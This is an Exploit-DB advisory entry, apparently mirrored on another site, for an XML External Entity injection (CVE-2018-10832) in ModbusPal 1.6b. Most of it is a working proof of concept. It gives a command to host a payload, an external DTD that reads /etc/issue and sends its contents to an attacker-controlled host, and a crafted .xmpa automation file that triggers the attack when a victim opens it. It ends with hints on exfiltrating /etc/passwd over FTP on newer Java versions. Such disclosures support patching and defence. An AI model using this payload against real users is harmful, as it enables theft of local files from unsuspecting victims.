ModbusPal 1.6b – XML External Entity Injection

  • 作者： Trent Gordon
    日期： 2018-05-10
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/44607/
  • [+] Exploit Title: ModbusPal XXE Injection
[+] Date: 05-08-2018
[+] Exploit Author: Trent Gordon
[+] Vendor Homepage: http://modbuspal.sourceforge.net/
[+] Software Link: https://sourceforge.net/projects/modbuspal/files/latest/download?source=files
[+] Version: 1.6b
[+] Tested on: Ubuntu 16.04 with Java 1.8.0_151
[+] CVE: CVE-2018-10832

1. Vulnerability Description

ModbusPal 1.6b is vulnerable to an XML External Entity (XXE) attack.Projects are saved as .xmpp files and automations can be exported as .xmpa files, both XML-based and vulnerable to XXE injection.Sending a crafted .xmpp or .xmpa file to a user, when opened/imported in ModbusPal 1.6b, will return the contents of any local files to a remote attacker.

2. Proof of Concept

a.) python -m SimpleHTTPServer 9999 (listening on ATTACKERS-IP and hosting evil.xml)

b.) Contents of hosted "evil.xml"

<!ENTITY % data SYSTEM "file:///etc/issue">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ATTACKERS-IP:9999/?%data;'>">

c.) Example Exploited "xxe.xmpa"

<?xml version="1.0" ?>

<!DOCTYPE r [

<!ELEMENT r ANY >

<!ENTITY % sp SYSTEM "http://ATTACKERS-IP:9999/evil.xml">

%sp;

%param1;

]>

<r>&exfil;</r>

<!DOCTYPE modbuspal_automation SYSTEM "modbuspal.dtd">

<modbuspal_automation>

<automation name="temp" step="1.0" loop="true" init="0.0">

</automation>

</modbuspal_automation>

3. Additional Details

Java 1.7 contains certain defenses against XXE, including throwing a java.net.MalformedURLException when certain characters (such as '/n') are included in a URL.This means that the file exfiltrated in the above attack is limited to single line files that dont contain any restricted characters.The above POC uses /etc/issue, which is one of the few common linux files that meets this criteria.Exploitation of this vulnerability on later versions of Java requires a more creative approach than described above, such as using FTP instead of URL to exfiltrate /etc/passwd.
    Java